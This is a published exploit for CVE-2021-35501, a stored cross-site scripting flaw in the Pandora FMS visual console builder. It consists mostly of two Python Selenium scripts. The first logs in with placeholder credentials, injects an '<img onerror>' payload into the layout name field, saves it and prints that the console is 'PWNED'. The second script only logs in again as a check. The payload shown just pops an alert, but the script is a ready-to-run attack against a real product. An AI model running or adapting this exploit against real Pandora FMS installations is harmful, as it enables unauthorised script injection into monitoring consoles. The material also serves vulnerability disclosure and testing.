# Exploit Title: XSS vulnerability for (keywords) searching parameter in pandorafms-754/pandora_console/ visual console # Author: @nu11secur1ty # Testing and Debugging: @nu11secur1ty # Date: 07.12.2021 # Vendor: https://pandorafms.com/ # Link: https://sourceforge.net/projects/pandora/files/Pandora%20FMS%207.0NG/754/PandoraFMS7.0NG.754.x86_64.iso/download # CVE: CVE-2021-35501 # Proof: https://github.com/nu11secur1ty/CVE-mitre/blob/main/Pandora%20FMS%206.0%20SP3-XSS-Vulnerability/Pandora%20FMS%206.0%20SP3-XSS-Vulnerability.gif [+] Exploit Source: ### Exploit #!/usr/bin/python3 # Author: @nu11secur1ty # CVE-2021-35501 from selenium import webdriver import time import os, sys # Vendor: https://pandorafms.com/ website_link="http://192.168.1.7/pandora_console/index.php" # enter your login username username="nu11secur1ty" # enter your login password password="password" #enter the element for username input field element_for_username="nick" #enter the element for password input field element_for_password="pass" #enter the element for submit button element_for_submit="login_button" #browser = webdriver.Safari() #for macOS users[for others use chrome vis chromedriver] browser = webdriver.Chrome() #uncomment this line,for chrome users #browser = webdriver.Firefox() #uncomment this line,for chrome users time.sleep(1) browser.get((website_link)) try: username_element = browser.find_element_by_name(element_for_username) username_element.send_keys(username) password_element = browser.find_element_by_name(element_for_password) password_element.send_keys(password) signInButton = browser.find_element_by_name(element_for_submit) signInButton.click() # Exploit Pandora FMS 755 # Payload browser.get((" http://192.168.1.7/pandora_console/index.php?sec=network&sec2=godmode/reporting/visual_console_builder ")) time.sleep(1) ### Inner text... browser.execute_script("document.querySelector('[name=\"name\"]').value = '<img src=1 onerror=alert(`Please_fix_it`)>'") input("Select Application from Group and Press Enter to continue...") browser.execute_script("document.querySelector('[name=\"update_layout\"]').click()") time.sleep(3) os.system("python check_PoC.py") browser.close() print("The payload is deployed, your visual console is PWNED...\n") except Exception: #### This exception occurs if the element are not found in the webpage. print("Sorry, but something is not ok") ### Check #!/usr/bin/python3 # Author: @nu11secur1ty # CVE-2021-35501 from selenium import webdriver import time # Vendor: https://pandorafms.com/ website_link=" http://192.168.1.7/pandora_console/index.php?sec=network&sec2=godmode/reporting/map_builder " # enter your login username username="nu11secur1ty" # enter your login password password="password" #enter the element for username input field element_for_username="nick" #enter the element for password input field element_for_password="pass" #enter the element for submit button element_for_submit="login_button" #browser = webdriver.Safari() #for macOS users[for others use chrome vis chromedriver] browser = webdriver.Chrome() #uncomment this line,for chrome users #browser = webdriver.Firefox() #uncomment this line,for chrome users time.sleep(1) browser.get((website_link)) try: username_element = browser.find_element_by_name(element_for_username) username_element.send_keys(username) password_element = browser.find_element_by_name(element_for_password) password_element.send_keys(password) signInButton = browser.find_element_by_name(element_for_submit) signInButton.click() except Exception: #### This exception occurs if the element are not found in the webpage. print("Sorry, but something is not ok")